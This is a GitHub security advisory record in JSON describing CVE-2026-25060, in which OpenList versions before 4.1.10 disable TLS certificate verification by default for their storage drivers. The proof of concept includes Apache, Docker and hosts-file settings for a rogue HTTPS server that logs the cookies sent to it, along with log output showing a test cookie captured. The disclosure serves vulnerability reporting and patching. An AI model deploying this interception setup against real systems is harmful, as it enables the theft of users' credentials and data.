{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OpenListTeam/OpenList/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-599"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T20:12:52Z",
    "nvd_published_at": "2026-02-02T23:16:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185).\n\n~~~\nfunc DefaultConfig() *Config {\n    // ...\n    TlsInsecureSkipVerify: true,\n    // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.\n\n### PoC\nWe modified the /etc/hostsfile to simulate DNS hijacking and redirect [www.weiyun.com](http://www.weiyun.comto/) to a malicious TLS-enabled HTTP server.\n\nThe purpose of this PoC is to demonstrate that the Openlist server will indeed establish communication with a malicious server due to disabled certificate verification. This allows us to intercept and steal authentication cookies used for communicating with other storage providers.\n\n#### Setup a malicious https server:\n*ssl.conf*:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %\u003es %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n\u003cVirtualHost _default_:443\u003e\n    DocumentRoot \"/usr/local/apache2/htdocs\"\n    ServerName localhost\n\n    SSLEngine on\n    SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n    SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n    ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n    \u003cDirectory \"/usr/local/apache2/htdocs\"\u003e\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n    \u003c/Directory\u003e\n\u003c/VirtualHost\u003e\n~~~\n\n*Dockerfile*:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" \u003e\u003e /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\n*build-ssh-httpd.sh*\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n  -newkey rsa:2048 \\\n  -keyout certs/server.key \\\n  -out certs/server.crt\ndocker build -t httpd-test-ssl .\n~~~\n\n*docker-compose.yaml*:\n~~~\nservices:\n  openlist:\n    restart: always\n    volumes:\n      - \u0027/etc/openlist:/opt/openlist/data\u0027\n    ports:\n      - \u00275244:5244\u0027\n      - \u00275245:5245\u0027\n    user: \u00270:0\u0027\n    environment:\n      - UMASK=022\n      - TZ=Asia/Shanghai\n    container_name: openlist\n    image: \u0027openlistteam/openlist:latest\u0027\n\n  evilhttpd:\n    image: \u0027httpd-test-ssl:latest\u0027\n~~~\n\n#### Simulate DNS hijacking\nModify openlist container\u0027s /etc/hosts to redirect www.weiyun.com to malicious server:\n~~~\n\u003cIP of HTTPS Server\u003e      www.weiyun.com\n~~~\n\nYou can `ping evilhttpd` to obtain its IP.\n\n#### Trigger\nIn the front end, add a weiyun storage and inspect log on tls server:\n\n~~~\nroot@3c5bbda440c9:/usr/local/apache2# tail -n 1  /usr/local/apache2/logs/headers.log\n172.18.0.2 - - [18/Dec/2025:06:29:48 +0000] \"POST /webapp/json/weiyunQdiskClient/DiskUserInfoGet?cmd=2201\u0026g_tk= HTTP/1.1\" 404 236 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Macintosh; Apple macOS 15_5) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/138.0.0.0 Referer:- Accept:- Cookie:test-secret-cookie=\n~~~\n\nNote that the cookie in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all openlist deployment with default TLS configuration.\n\n### Note\nCredit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is [xlabai@tencent.com](mailto:xlabai@tencent.com).\n\nWe follow the security industry standard [90+30 disclosure policy](https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.",
  "id": "GHSA-wf93-3ghh-h389",
  "modified": "2026-02-03T16:13:24Z",
  "published": "2026-02-02T20:12:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenListTeam/OpenList"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenList has Insecure TLS Default Configuration"
}